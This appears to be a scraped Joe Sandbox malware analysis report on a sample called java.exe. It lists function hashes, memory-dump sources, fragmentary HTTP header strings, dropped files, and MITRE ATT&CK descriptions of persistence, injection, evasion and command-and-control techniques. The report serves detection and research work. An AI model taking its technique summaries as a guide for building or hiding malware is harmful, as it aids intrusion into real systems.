Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: 05e6525e032cf75ec52e11297d9a8d63066c71a5b4cf809cc2a330e54ce585bf
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: 5C41C3B6600618BFEF125F64CC48BDEBFBAEF80704F144068EA44AA254DB30D644CF94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: qqQDbrYlXafmy.exePID: 5348, Parent PID: 7344COMMON

Executed Functions

Function 00EE093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002B.00000002.2911884280.0000000000EE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_ee0000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: 3b883074fb3a4a4efb01e8a830865175f728be6058f19d636006667d61ccd0f9
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: C05192315443989FEF139F61CC85B9977B8EF04744F0401E9BA49FE0D6DAB09A90CA65

Uniqueness

Uniqueness Score: -1.00%

Function 00EE14BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002B.00000002.2911884280.0000000000EE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_ee0000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8359f379aab296cf034102068ae67c8d17d9b0a7435fec540ab5f7bd7715324
Instruction ID: 8feeca0cfe8628997307a84226603dfcaecb69221f2341d4ddaf02f148b22a89
Opcode Fuzzy Hash: c8359f379aab296cf034102068ae67c8d17d9b0a7435fec540ab5f7bd7715324
Instruction Fuzzy Hash: CD2124724046589EDF03AF60C9C9CA773ECEF40704F4505AAAD85EF049FE709194CAE6

Uniqueness

Uniqueness Score: -1.00%

Function 00EE1345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002B.00000002.2911884280.0000000000EE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_ee0000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 9d4556ed828c95edfebf30ce3b97810a9faa26ecc294f1ae4b1dc6313f54dbe1
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: F921C03190425AAFDB119FB9C845B5DBBB5AF04300F054265FD55BB594D770E800CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00EE14DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002B.00000002.2911884280.0000000000EE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_ee0000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7414966d62ab92a52d97edb7ada7e3a23f2d9defc7b5a2a9815f1829eca1fdf5
Instruction ID: cad74ae53a12959c0d32a88463ac8be05740e48b0529743181896a59c1eefe72
Opcode Fuzzy Hash: 7414966d62ab92a52d97edb7ada7e3a23f2d9defc7b5a2a9815f1829eca1fdf5
Instruction Fuzzy Hash: 1511D3724045589EEF03AF70C5C9CAA73ECEF40704B450AAAAD85EF44EFE709194CAE5

Uniqueness

Uniqueness Score: -1.00%

Function 00EE3F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002B.00000002.2911884280.0000000000EE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_ee0000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c09feb9db596d8359f295e8d139cc18023a08d38d10f5a63b4ad8fb083c8443
Instruction ID: 2a8619193d0bbb21e4aa219fef2aefff59917c7269267b82a73d9add1b1c3c06
Opcode Fuzzy Hash: 8c09feb9db596d8359f295e8d139cc18023a08d38d10f5a63b4ad8fb083c8443
Instruction Fuzzy Hash: C2F01270A982C8A6EF403B728C4F69936F45F40705F042591BA49BF0D6DE708650DE75

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00EE4674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-Age, xrefs: 00EE47B0
ie: , xrefs: 00EE472E
Cook, xrefs: 00EE4728
User, xrefs: 00EE47AA
nt: , xrefs: 00EE47B6

Memory Dump Source

Source File: 0000002B.00000002.2911884280.0000000000EE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_ee0000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: faa040c0f205030a530cd5e8ff3cdfbe1d0ed7eefc94c835a1de919e6633f3f9
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: 144164B6500248BFEF129FA5CC48BDEBBBAEF80704F154069EA44BA254D7309650CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00EE4675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-Age, xrefs: 00EE47B0
ie: , xrefs: 00EE472E
Cook, xrefs: 00EE4728
User, xrefs: 00EE47AA
nt: , xrefs: 00EE47B6

Memory Dump Source

Source File: 0000002B.00000002.2911884280.0000000000EE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_43_2_ee0000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: 5fd415bd397c133f12a0f7618e82ac3f1ed3797954ee7136152bc536192ba971
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: 054163B6500248BFEF125FA5CC48BDEBBBAEF80704F154069EA44BA294D7309A50CB94

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: qqQDbrYlXafmy.exePID: 5668, Parent PID: 7344COMMON

Executed Functions

Function 02D3093E Relevance: .1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002C.00000002.2920286186.0000000002D30000.00000040.00000001.00020000.00000000.sdmp, Offset: 02D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_2d30000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction ID: 849468fec9f7453cbc25eb71ffb4a0633e76873246bed3a94dfea32efc3a4019
Opcode Fuzzy Hash: 0e1f2a4e7413688aa54805ed2a14ac9b83cd4127bce701e40c3c8803db53eeff
Instruction Fuzzy Hash: F0518F316482549FEB239F20CC85B9A77BCEF04744F0801D9FA49FE1D6DBB09A94CA65

Uniqueness

Uniqueness Score: -1.00%

Function 02D314BC Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002C.00000002.2920286186.0000000002D30000.00000040.00000001.00020000.00000000.sdmp, Offset: 02D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_2d30000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e691a712de486e4dfceb288b4c3d9d3fe3d652e5e2e3b2f50e0e601de67137e
Instruction ID: ab33c831861c441f8135baddd07f7ad0dffe48416a06f8adce800c3971cab41c
Opcode Fuzzy Hash: 4e691a712de486e4dfceb288b4c3d9d3fe3d652e5e2e3b2f50e0e601de67137e
Instruction Fuzzy Hash: D221FA724046249EDF03AF60C9C88A673ECEF40704F45096A99C9EF049FE709554CEF6

Uniqueness

Uniqueness Score: -1.00%

Function 02D31345 Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002C.00000002.2920286186.0000000002D30000.00000040.00000001.00020000.00000000.sdmp, Offset: 02D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_2d30000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: db3d2522bb4ffa16910e4fa9ce89517245fcf5f54b70cc8d9baf55647e45c9da
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: 36219031A04216AFDF129F78C844B5DBBB5AF04704F094215FD59BB694D770EC10CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02D314DE Relevance: .1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002C.00000002.2920286186.0000000002D30000.00000040.00000001.00020000.00000000.sdmp, Offset: 02D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_2d30000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4917235bce67b0bd341cc4376806be672fb8739d92a651c71d1172738683fcb
Instruction ID: bd3c1c02b5e77d58f7a9dd5812d166b939635e0a919cea16ad22a576bbdf2f69
Opcode Fuzzy Hash: d4917235bce67b0bd341cc4376806be672fb8739d92a651c71d1172738683fcb
Instruction Fuzzy Hash: 7F1160724046259EEF03AF60C5C88AA73ECEE40708F8509BA9DC9EE549FE709554CEF5

Uniqueness

Uniqueness Score: -1.00%

Function 02D33F0D Relevance: .0, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000002C.00000002.2920286186.0000000002D30000.00000040.00000001.00020000.00000000.sdmp, Offset: 02D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_2d30000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction ID: 30dc8b5bb391ccc07b0885eee5b373bab253bf4c07e535fe1f7d85fcf8abdb83
Opcode Fuzzy Hash: 550d547703b1faf33bdbb28134adf901e3b34dfa1c128e3e0b52710aeb13400a
Instruction Fuzzy Hash: A5F01C70588280AAFF823BB0CE4965937B9EF40786F4405D1AA89ED2D4DE74CD50CEF5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02D34675 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ie: , xrefs: 02D3472E
-Age, xrefs: 02D347B0
Cook, xrefs: 02D34728
User, xrefs: 02D347AA
nt: , xrefs: 02D347B6

Memory Dump Source

Source File: 0000002C.00000002.2920286186.0000000002D30000.00000040.00000001.00020000.00000000.sdmp, Offset: 02D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_2d30000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction ID: bcfd9571be42433c5c55ce09ff855047655062545a78ddfb19883353c6e08b64
Opcode Fuzzy Hash: 21bbdfff56fab31c03729283b2ea7a1e7782b6cd8000812816065b0b8d19ca46
Instruction Fuzzy Hash: AC4163B6500208BFEF125FA5CC48BDEBFBAEF84704F154069EA44AA254DB74DA50CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02D34674 Relevance: 6.4, Strings: 5, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ie: , xrefs: 02D3472E
-Age, xrefs: 02D347B0
Cook, xrefs: 02D34728
User, xrefs: 02D347AA
nt: , xrefs: 02D347B6

Memory Dump Source

Source File: 0000002C.00000002.2920286186.0000000002D30000.00000040.00000001.00020000.00000000.sdmp, Offset: 02D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_2d30000_qqQDbrYlXafmy.jbxd

Similarity

API ID:
String ID: -Age$Cook$User$ie: $nt:
API String ID: 0-2052191038
Opcode ID: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction ID: c8735c36cc2d790531b0d3adc4d71ca34f146f714da8dac9b6be63c25ab41e46
Opcode Fuzzy Hash: 2b93bd9568e5da8988b8e1df8da560840dd12be90571bd433eb3dce17dfd8eb8
Instruction Fuzzy Hash: 454153B6500208BFEF129FA5CC44BDEBBBAEF84704F154059EA44AA254D774DA50CF94

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report java.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db-wal

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\XIYR6UZ0\www.bing[1].xml

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{cadb2414-ac3a-4eb8-ac64-c5a60c670f90}\0.0.filtertrie.intermediate.txt

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{cadb2414-ac3a-4eb8-ac64-c5a60c670f90}\0.1.filtertrie.intermediate.txt

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{cadb2414-ac3a-4eb8-ac64-c5a60c670f90}\0.2.filtertrie.intermediate.txt

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{cadb2414-ac3a-4eb8-ac64-c5a60c670f90}\Apps.ft

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{cadb2414-ac3a-4eb8-ac64-c5a60c670f90}\Apps.index

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133477548824988414.txt (copy)

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133477548824988414.txt.~tmp

C:\Users\user\AppData\Roaming\F90F00A9\bin.exe

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
java.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre